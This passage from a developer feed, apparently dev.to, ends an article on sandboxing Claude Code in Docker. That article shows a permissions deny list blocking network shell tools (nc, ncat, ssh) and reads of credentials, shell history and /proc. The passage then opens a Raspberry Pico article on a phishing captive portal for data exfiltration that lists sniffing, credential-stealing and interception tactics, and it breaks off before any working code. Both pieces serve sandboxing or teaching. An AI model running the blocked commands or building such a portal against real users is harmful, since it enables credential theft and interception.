  &lt;/span&gt;&lt;span class="nl"&gt;"$schema"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"https://json.schemastore.org/claude-code-settings.json"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"allow_remote_sessions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kc"&gt;false&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"attribution"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"commit"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"pr"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;""&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"CLAUDE_CODE_DISABLE_NONESSENTIAL_TRAFFIC"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"1"&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"permissions"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"deny"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(netstat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(printenv*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ssh*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ss*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(nc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(ncat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Bash(netcat*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.git-credentials*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.gitconfig*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.env*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.git-credentials*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.gitconfig*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.bashrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.zshrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.bashrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.zshrc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.bash_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.zsh_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.bash_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.zsh_history*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/.ssh/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/.ssh/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/proc/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/proc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(/proc/**)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(/proc*)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(**/*.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Grep(**/*.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/run/docker.sock)"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="s2"&gt;"Read(/var/run/docker.sock)"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Building the Container
&lt;/h3&gt;

&lt;p&gt;Build the container with the following command. A random password will be created for the default user &lt;code&gt;node&lt;/code&gt; in order to prevent unobserved privilege escalation:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt; docker build &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--build-arg&lt;/span&gt; &lt;span class="nv"&gt;SUDO_PASSWORD&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nv"&gt;LC_CTYPE&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;C &lt;span class="nb"&gt;tr&lt;/span&gt; &lt;span class="nt"&gt;-cd&lt;/span&gt; &lt;span class="s1"&gt;'[:alnum:]'&lt;/span&gt; &amp;lt;/dev/urandom | &lt;span class="nb"&gt;head&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; 10&lt;span class="si"&gt;)&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--tag&lt;/span&gt; claude-code-local:2.1.91 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Take a good look at the build log, it reveals the generated password. Note it down.&lt;/p&gt;

&lt;h2&gt;
  
  
  Docker Container Usage
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Starting the Container
&lt;/h3&gt;

&lt;p&gt;When the Docker image is built, you can start it with the preferred mount directory as follows:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;./,dst&lt;span class="o"&gt;=&lt;/span&gt;/opt/claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--detach&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; claude-code-local &lt;span class="se"&gt;\&lt;/span&gt;
  claude-code-local:2.1.91
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Claude code persists session, memory, and global settings in the local &lt;code&gt;~/.claude&lt;/code&gt; directory. If you wish to keep these settings, you need to create and mount this directory to the container.&lt;/p&gt;

&lt;p&gt;In a local terminal:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;mkdir&lt;/span&gt; &lt;span class="nt"&gt;-p&lt;/span&gt; ~/.claude/
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, start the container with the additional mount. If you have the container still running, you need to stop it first with &lt;code&gt;docker stop claude-code-local&lt;/code&gt;&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker run &lt;span class="nt"&gt;--rm&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;./,dst&lt;span class="o"&gt;=&lt;/span&gt;/opt/claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--mount&lt;/span&gt; &lt;span class="nb"&gt;type&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;bind&lt;/span&gt;,src&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="k"&gt;${&lt;/span&gt;&lt;span class="nv"&gt;HOME&lt;/span&gt;&lt;span class="k"&gt;}&lt;/span&gt;&lt;span class="s2"&gt;/.claude"&lt;/span&gt;,dst&lt;span class="o"&gt;=&lt;/span&gt;/home/node/.claude &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--detach&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--name&lt;/span&gt; claude-code-local &lt;span class="se"&gt;\&lt;/span&gt;
  claude-code-local:2.1.91
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Starting a Claude Code session
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Model Configuration
&lt;/h3&gt;

&lt;p&gt;During the first startup of the container, you need to authenticate with an LLM provider. In addition to using an Anthropic account, LLM routers such as &lt;a href="https://openrouter.ai/" rel="noopener noreferrer"&gt;openrouter&lt;/a&gt; or &lt;a href="https://docs.litellm.ai/" rel="noopener noreferrer"&gt;litellm&lt;/a&gt; can be used to gain access to any LLM provider, including Azure, Google, Ollama, and others.&lt;/p&gt;

&lt;p&gt;You can also use your GitHub Co-Pilot subscription - which is shown here. Run the following command to exec into the container:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;docker &lt;span class="nb"&gt;exec&lt;/span&gt; &lt;span class="nt"&gt;-it&lt;/span&gt; claude-code-local bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then, install and run the helper library &lt;a&gt;copilot-api&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;npx copilot-api@latest start &lt;span class="nt"&gt;--proxy-env&lt;/span&gt;
Need to &lt;span class="nb"&gt;install &lt;/span&gt;the following packages:
copilot-api@0.7.0
Ok to proceed? &lt;span class="o"&gt;(&lt;/span&gt;y&lt;span class="o"&gt;)&lt;/span&gt; y
ℹ Using VSCode version: 1.113.0
ℹ Not logged &lt;span class="k"&gt;in&lt;/span&gt;, getting new access token
ℹ Please enter the code &lt;span class="s2"&gt;"9A4A-9DB1"&lt;/span&gt; &lt;span class="k"&gt;in &lt;/span&gt;https://github.com/login/device
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Open the link, login with your GitHub credentials, and paste the OTP code. Shortly afterwards, you should see which LLM models are selectable for your session.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;Available models:
- claude-opus-4.6-fast
- claude-opus-4.6
- claude-sonnet-4.6
- gemini-3.1-pro-preview
- goldeneye-free-auto
- gpt-5.2-codex
- gpt-5.4
- raptor-mini-tertiary
- gpt-5-mini
- gpt-4o-mini-2024-07-18
- gpt-4o-2024-11-20
- gpt-4o-2024-08-06
- grok-code-fast-1
- text-embedding-3-small
- text-embedding-3-small-inference
- claude-haiku-4.5
- gpt-4.1-2025-04-14
- oswe-vscode-prime
- oswe-vscode-secondary
- gpt-41-copilot
- gpt-3.5-turbo-0613
- gpt-4
- gpt-4-0613
- gpt-4-0125-preview
- gpt-4o-2024-05-13
- gpt-4-o-preview
- gpt-4.1
- gpt-3.5-turbo
- gpt-4o-mini
- gpt-4
- gpt-4o
- gpt-4-o-preview
- text-embedding-ada-002

➜ Listening on: http://localhost:4141/ &lt;span class="o"&gt;(&lt;/span&gt;all interfaces&lt;span class="o"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Finally, create &lt;code&gt;~/.claude/settings.json&lt;/code&gt; and paste the following content. Be sure to set a model mapping to your liking. Anthropics distinction into Haiku, Sonnet, and Opus needs to be mapped to available GitHub Co-Pilot models.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"env"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_BASE_URL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"http://localhost:4141"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_AUTH_TOKEN"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"not-required"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_OPUS_MODEL "&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-opus-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_SONNET_MODEL "&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-sonnet-4.6"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"ANTHROPIC_DEFAULT_HAIKU_MODEL"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"claude-haiku-4.5"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  Session Start
&lt;/h3&gt;

&lt;p&gt;And finally, you can start a Claude code session. Exec into the Docker container, which automatically jumps to the defined directory &lt;code&gt;/opt/claude&lt;/code&gt; with your mounted project.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;claude
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The opening dialog starts ...&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkf6wcnfzid9eh560uos.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxkf6wcnfzid9eh560uos.png" width="482" height="581"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;And once confirmed, you can start your session.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9vqse9vuanpins8hmj8.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ft9vqse9vuanpins8hmj8.png" width="800" height="257"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusion
&lt;/h2&gt;

&lt;p&gt;Claude Code is one of the most prominent agentic tools for code generation. This article starts a new series to systematically explore its CLI tools, slash commands, and use-cases. You learned how to setup a Claude Code in a Docker container, which provides a sandboxed environment into which you mount specific local directories. You saw the Dockerfile, a managed settings permission files that restricts access to sensitive data and environments, and learned the commands to build, start, and use the Docker container. From the many options of LLM providers, GitHub CoPilot was chosen. The next article continues with the exploration of its CLI commands.&lt;/p&gt;

</description>
      <category>claude</category>
      <category>ai</category>
    </item>
    <item>
      <title>Hacking with Raspberry Pico: Data Exfiltration with a Captive Portal</title>
      <dc:creator>Sebastian</dc:creator>
      <pubDate>Thu, 28 May 2026 04:46:34 +0000</pubDate>
      <link>https://dev.to/admantium/hacking-with-raspberry-pico-data-exfiltration-with-a-captive-portal-g8d</link>
      <guid>https://dev.to/admantium/hacking-with-raspberry-pico-data-exfiltration-with-a-captive-portal-g8d</guid>
      <description>&lt;p&gt;The Raspberry Pico microcontroller is a stunning device that can be employed in several application areas, from reading sensor data, drawing pixels on a screen, and consuming APIs. Its small form factor, enough hardware power, and programmable behavior contribute equally. But did you know that the Pico can be used for hacking as well?&lt;/p&gt;

&lt;p&gt;This article shows how to create a captive portal that runs on a Raspberry Pico W. A captive portal is an informal way with which client devices connect to local WiFi with the intention to gain full access to the internet. Since clients connect unsolicited to these portals, and because the user provides some amount of personal information, several exploits can be engineered. Creating a captive portal is surprisingly easy with the right software and the knowledge which clients require which URLs. You will learn both aspects in this article.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article is for educational purposes only. Only use computers and devices that you own, and be mindful that they can be damaged.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The technical context for this article is &lt;code&gt;MicroPython v1.23.0&lt;/code&gt; and the webserver/webpage templating library &lt;code&gt;phew v0.0.3&lt;/code&gt;. The examples should work with newer versions too, but might require some code changes.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;The initial idea for this topic was sparked by an excellent article in the German computer magazine CT 2023/27 titled "Raspberry Hacking: Phishing Hotspot". The article itself cannot be accessed, but its &lt;a href="https://www.heise.de/select/ct/2023/27/softlinks/y95e" rel="noopener noreferrer"&gt;link collection&lt;/a&gt; is available on the public internet.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;This article originally appeared at my blog &lt;a href="https://admantium.com/blog/micro27_rasperry_pico_captive_portal/" rel="noopener noreferrer"&gt;admantium.com&lt;/a&gt;&lt;/em&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Required Hardware
&lt;/h2&gt;

&lt;p&gt;As with several other microcontroller projects, the required bill of materials is short and concise:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Raspberry Pico W (model 1 and 2)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  What is a Captive Portal?
&lt;/h2&gt;

&lt;p&gt;A captive portal is a WiFi hotspot to which client devices connect autonomously. Typically, you encounter these portals in public spaces, cafes or hotels. For a not registered device, HTTP redirects and DNS redirects force the device to open the portal landing page. This page typically shows branded information and advertisement, and a form asking for personal details and agreement to the service usage. Once accepted, the portal puts the clients MAC address into an allowlist, and full internet access is granted.&lt;/p&gt;

&lt;p&gt;In this process, several exploits can be placed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Device sniffing: The captive portal opens a device specific workflow, and some devices may make hotspot requests unsolicited. This can be used to passively grab device metadata.&lt;/li&gt;
&lt;li&gt;Information dissemination: The portals landing page is shown to the client without restrictions, it can provide unsolicited information.&lt;/li&gt;
&lt;li&gt;Information stealing: A branded website fake might induce users to provide personal information.&lt;/li&gt;
&lt;li&gt;Man in the Middle: The portal controls HTTP requests. The ruleset of HTTP and DNS redirects that are enforced on new clients can be used for traffic shaping and interception.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  MicroPython and Library Setup
&lt;/h2&gt;

&lt;p&gt;To program the portal, the Pico needs to be flashed with MicroPython and include an external library. The concrete steps are:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Download the &lt;a href="https://micropython.org/download/RPI_PICO_W/" rel="noopener noreferrer"&gt;latest MicroPython distribution&lt;/a&gt; for the Raspberry Pico W&lt;/li&gt;
&lt;li&gt;Connect the Pico to your computer, hold down the bootsel button, and put the Pico into USB mode&lt;/li&gt;
&lt;li&gt;Drag and drop the MicroPython UF2 image to the Pico&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The Pico reboots itself. Then, open the &lt;a href="https://thonny.org/" rel="noopener noreferrer"&gt;Thonny IDE&lt;/a&gt;, configure the interpreter to "MicroPython (Raspberry Pi Pico)", and select your connected board. Using Thonny's file explorer, you can add the required library.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Go to the &lt;a href="https://github.com/pimoroni/phew" rel="noopener noreferrer"&gt;phew library GitHub project&lt;/a&gt;, and either download the latest release or the projects current code base from the main branch&lt;/li&gt;
&lt;li&gt;Create the folder &lt;code&gt;lib&lt;/code&gt;, and then copy the phew source code into this directory&lt;/li&gt;
&lt;li&gt;Create an empty file called &lt;code&gt;__init__.py&lt;/code&gt; inside the &lt;code&gt;lib&lt;/code&gt; folder&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The resulting file structure should look like this:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftnw3dte32ji6uzcnbsjp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftnw3dte32ji6uzcnbsjp.png" width="307" height="205"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Programming the Captive Portal
&lt;/h2&gt;

&lt;p&gt;Similar to the well-known framework &lt;a href="https://flask.palletsprojects.com/en/3.0.x/quickstart/#a-minimal-application" rel="noopener noreferrer"&gt;Flask&lt;/a&gt;, phew simplifies web application development. With just a few lines of code, combining annotations and plain Python functions, handlers for specific HTTP requests can be created. While this blog article is not an exploration of this framework itself, it will cover most of its functions nevertheless, but geared towards creating a captive portal.&lt;/p&gt;

&lt;p&gt;The following code starts a local access point and a webserver that responds to the default route &lt;code&gt;/&lt;/code&gt; with a text message. All other requests will be responded with the status code &lt;code&gt;404&lt;/code&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;server&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;phew&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;access_point&lt;/span&gt;

&lt;span class="n"&gt;SSID&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Guest WiFi&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;

&lt;span class="nd"&gt;@server.route&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;/&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;methods&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;GET&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;POST&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;start_portal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;request&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
